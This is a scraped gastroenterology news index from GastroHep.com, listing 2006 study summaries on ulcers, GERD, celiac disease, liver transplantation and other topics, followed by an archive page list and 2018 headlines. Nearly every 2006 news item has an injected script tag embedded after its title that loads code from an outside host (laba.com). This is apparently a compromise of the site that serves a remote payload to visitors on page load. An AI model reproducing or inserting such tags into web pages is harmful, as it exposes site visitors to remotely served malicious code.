Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 21 February 2018

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Endoscopic combination therapy superior in treating bleeding ulcers 08 May 2006
Endoscopic hemoclip for bleeding ulcers<script src=http://laba.com/muuu.s></script> Although the outcome of endoscopic hemoclip therapy is related to the techniques of endoscopists, it is superior to epinephrine injection alone in the treatment of high-risk bleeding ulcers, finds this month's Gastrointestinal Endoscopy.
Full story
Sub-optimal PPI dosing prevalent in poorly controlled GERD 08 May 2006
PPI dosing and GERD<script src=http://laba.com/muuu.s></script> Most patients dose PPIs sub-optimally, and only 12% dose to maximize acid suppression, indicating that patients should be asked about dose timing to avoid costly dose escalations, finds the latest Alimentary Pharmacology & Therapeutics.
Full story
Oats are well tolerated in childhood celiac disease 05 May 2006
Oats and childhood celiac disease<script src=http://laba.com/muuu.s></script> Research in the latest Alimentary Pharmacology & Therapeutics shows that in children with celiac disease, long-term consumption of oats is well tolerated, and does not cause small bowel mucosal deterioration or immune activation.
Full story
Antivirals prevent post-liver transplant Hep B recurrence 05 May 2006
Preventing post-transplant Hep B recurrence<script src=http://laba.com/muuu.s></script> In HIV/Hep B coinfected liver transplant patients, Hep B virus recurrence is successfully prevented with combination prophylaxis using Hep B immune globulin and antivirals, finds this month's Liver Transplantation.
Full story
Gum chewing does not ameliorate postoperative ileus 05 May 2006
Gum chewing and postoperative ileus<script src=http://laba.com/muuu.s></script> Data reported in the latest Journal of the American College of Surgeons suggest that gum chewing, although safe, does not reduce duration of postcolectomy ileus.
Full story
Fewer complications with laparoscopic than open gastric bypass 04 May 2006
Laparoscopic vs gastric bypass<script src=http://laba.com/muuu.s></script> Multicenter, prospective, risk-adjusted data reported in the latest Annals of Surgery show that laparoscopic gastric bypass is safer than open gastric bypass, with respect to 30-day complication rate.
Full story
Post-transplant bilirubin levels predict survival in biliary atresia 04 May 2006
Liver transplant survival in biliary atresia<script src=http://laba.com/muuu.s></script> Total bilirubin in early follow-up after hepatoportoenterostomy predicts outcome in children with biliary atresia, and efforts to improve bile flow may lead to improved outcome, finds the most recent Journal of Pediatrics.
Full story
Alicaforsen enemas may modify ulcerative colitis 04 May 2006
Alicaforsen enema in ulcerative colitis<script src=http://laba.com/muuu.s></script> Alicaforsen enema is similar to mesalazine regarding safety, but has an extended length of remission, suggesting that alicaforsen may have a disease modifying effect, reports this month's Alimentary Pharmacology & Therapeutics.
Full story
Thyroxine absorption is impaired with H pylori and gastritis 03 May 2006
Thyroxine and <em>H pylori</em><script src=http://laba.com/muuu.s></script> Patients with impaired acid secretion require an increased dose of thyroxine, suggesting that normal gastric acid secretion is necessary for effective absorption of oral thyroxine, finds the latest New England Journal of Medicine.
Full story
Predictors of increased alcohol use post-liver transplant 03 May 2006
Alcohol use post-liver transplant<script src=http://laba.com/muuu.s></script> Alcohol use increases over time post-transplant in alcoholic liver disease patients, and pre-transplant sobriety, alcohol or other substance dependence, and prior alcohol rehabilitation predict alcohol use, reports the latest Liver Transplantation.
Full story
Physical activity may improve survival from colorectal cancer 03 May 2006
Exercise and colorectal cancer survival<script src=http://laba.com/muuu.s></script> This month's issue of Gut finds beneficial effects of physical activity in reducing colorectal cancer mortality, which may occur through interactions with the insulin-like growth factor binding protein 3.
Full story
Self-help interventions in IBS reduce symptoms and costs 02 May 2006
Self-help interventions in IBS<script src=http://laba.com/muuu.s></script> Introduction of a self-help guidebook results in a reduction in primary care consultations, a perceived reduction in symptoms, and significant health service savings, finds this month's Gut.
Full story
Antibiotics treat H pylori negative gastric associated lymphomas 01 May 2006
<em>H pylori</em> negative gastric associated lymphomas<script src=http://laba.com/muuu.s></script> Patients with early stage gastric mucosa associated lymphoid tissue lymphoma negative for H pylori may benefit from antibiotic treatment as the sole treatment modality, reports the latest issue of Gut.
Full story
Excellent post-transplant biliary stricture outcomes after endoscopy 01 May 2006
Endoscopy for anastomotic strictures<script src=http://laba.com/muuu.s></script> Long-term outcomes with post-liver transplant biliary strictures after endoscopic treatment is excellent, and non-anastomotic strictures reduces graft survival, reports this month's Liver Transplantation.
Full story
Clevudine therapy increases antiviral activity in Hep B 28 April 2006
Hep B antiviral activity increase<script src=http://laba.com/muuu.s></script> Clevudine shows potent antiviral activity during therapy and induces a sustained posttreatment antiviral effect for 6 months after a 12-week treatment period, reports the latest issue of Hepatology.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855

Go to top of page Email this page Email this page to a colleague

 21 February 2018 
Adalimumab and infliximab in biologic-naïve Crohn's
 21 February 2018 
Cystic fibrosis and colorectal cancer
 21 February 2018 
Management of hemorrhoids in the USA
 20 February 2018 
Treatment algorithm for polyp cancers
 20 February 2018 
Predictors of postoperative infection in Crohn's
 20 February 2018 
Complications and surveillance colonoscopies
 19 February 2018 
Screening colonoscopy in the right and left colon
 19 February 2018 
NAFLD prevalence in the USA
 19 February 2018 
Fructans in children with IBS

 16 February 2018 
Undetected celiac in the elderly
 16 February 2018 
Inflammatory bowel diseases are global diseases
 16 February 2018 
Fructans induce non-celiac gluten sensitivity
 15 February 2018 
NSAIDS and GI damage
 15 February 2018 
Oral direct-acting antiviral treatment for Hep C virus genotype 1
 15 February 2018 
Primary vs secondary surgery for the presence of lymph node metastasis
 14 February 2018 
Predicting adenoma detection rate
 14 February 2018 
Normal bowel frequency characterization in the USA 
 13 February 2018 
Personalising treatment options for IBS
 13 February 2018 
Prebiotics improve endothelial dysfunction
 13 February 2018 
Diagnostic criteria for a Rome IV functional gastrointestinal disorders
 12 February 2018 
Visceral hypersensitivity and functional GI disorders
 12 February 2018 
Depression and aggressive IBD
 12 February 2018 
Variability in interpretation of endoscopic findings impacts patient management
 09 February 2018 
Treatment of choice for anastomotic stricture in IBD
 09 February 2018 
PRO measurement information system 
 09 February 2018 
Overall disease severity indices for IBD
 08 February 2018 
Prediction of endoscopically active disease

 08 February 2018 
Steroid-refractory acute severe ulcerative colitis
 08 February 2018 
Decision aid used by IBD patients
 07 February 2018 
Ursodeoxycholic acid combined with bezafibrate for itching
 07 February 2018 
Change in microbiome in gastritis vs gastric carcinoma
 07 February 2018 
Colorectal cancer and primary sclerosing cholangitis-IBD
 06 February 2018 
Risk of death after liver transplantation
 06 February 2018 
Crohn’s disease vs refractory pouchitis
 06 February 2018 
Support for functional dyspepsia symptom diary
 05 February 2018 
Helicobacter spp influence on GI tract 
 05 February 2018 
No link found between severe reflux and all-cause mortality 
 05 February 2018 
Psychological distress in PPI non-responders
 02 February 2018 
Assessing psychosexual impact of IBD
 02 February 2018 
Decrease in overall mortality with cholera vaccination
 02 February 2018 
Diagnostic performance of fecal immunochemical tests
 01 February 2018 
Screening frequency with family histories of colorectal cancer
 01 February 2018 
IBD and sport participation
 01 February 2018 
Life with a stoma 
 31 January 2018 
Aprepitant and gastroparesis 
 31 January 2018 
Anesthesia risk in colonoscopy
 31 January 2018 
GED-0301 for Crohn's Disease
 30 January 2018 
Intestinal dysbiosis and allergic diseases in infants
 30 January 2018 
Fructans and IBS symptoms in children
 29 January 2018 
Dosing calculator for therapy optimization in IBD
 29 January 2018 
Glecaprevir–pibrentasvir for in HCV
 29 January 2018 
Food allergen injections in eosinophilic esophagitis
 29 January 2018 
Reliability of the IBD index
 26 January 2018 
Tofacitinib vs biological therapies for ulcerative colitis
 26 January 2018 
Optimizing selection of biologics in IBD
 26 January 2018 
Nutritional risk and laparoscopic-assisted gastrectomy outcomes
 25 January 2018 
Patient-reported outcome measure for functional dyspepsia
 25 January 2018 
Predicting intra-abdominal infections after colorectal surgery
 25 January 2018 
Predictors of gastric cancer risk
 24 January 2018 
Risk factors underlying previously undiagnosed cirrhosis

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2018 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us